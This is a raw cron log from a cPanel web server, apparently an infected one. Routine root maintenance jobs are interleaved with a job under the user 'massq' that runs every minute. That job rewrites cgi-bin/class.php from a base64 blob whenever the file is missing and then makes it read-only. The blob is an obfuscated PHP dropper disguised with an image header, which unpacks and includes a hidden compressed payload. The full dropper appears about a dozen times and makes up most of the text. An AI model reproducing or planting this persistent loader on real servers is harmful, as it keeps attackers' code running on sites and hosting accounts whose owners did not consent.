Sep  6 18:35:01 server CROND[8996]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 18:35:01 server CROND[8999]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 18:35:01 server CROND[8998]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:35:01 server CROND[9003]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:35:01 server CROND[9006]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 18:35:01 server CROND[9004]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 18:35:01 server CROND[9005]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 18:36:01 server CROND[9831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:36:01 server CROND[9832]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:36:01 server CROND[9833]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:37:01 server CROND[10203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:37:01 server CROND[10204]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:37:01 server CROND[10206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:38:01 server CROND[10569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:38:01 server CROND[10570]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:38:01 server CROND[10571]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:39:01 server CROND[10950]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 18:39:01 server CROND[10951]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:39:01 server CROND[10952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:39:01 server CROND[10953]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:40:01 server CROND[11428]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 18:40:01 server CROND[11429]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 18:40:01 server CROND[11430]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 18:40:01 server CROND[11431]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 18:40:01 server CROND[11432]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:40:01 server CROND[11436]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:40:01 server CROND[11438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:40:01 server CROND[11437]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 18:41:01 server CROND[12282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:41:01 server CROND[12284]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:41:01 server CROND[12283]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:42:01 server CROND[12733]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:42:01 server CROND[12732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:42:01 server CROND[12735]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 18:42:01 server CROND[12734]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:43:01 server CROND[13107]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:43:01 server CROND[13109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:43:01 server CROND[13108]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:44:01 server CROND[13578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:44:01 server CROND[13579]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:44:01 server CROND[13580]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:45:01 server CROND[13979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:45:01 server CROND[13982]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 18:45:01 server CROND[13983]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 18:45:01 server CROND[13987]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 18:45:01 server CROND[13984]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:45:01 server CROND[13985]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 18:45:01 server CROND[13986]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 18:46:01 server CROND[14799]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:46:01 server CROND[14800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
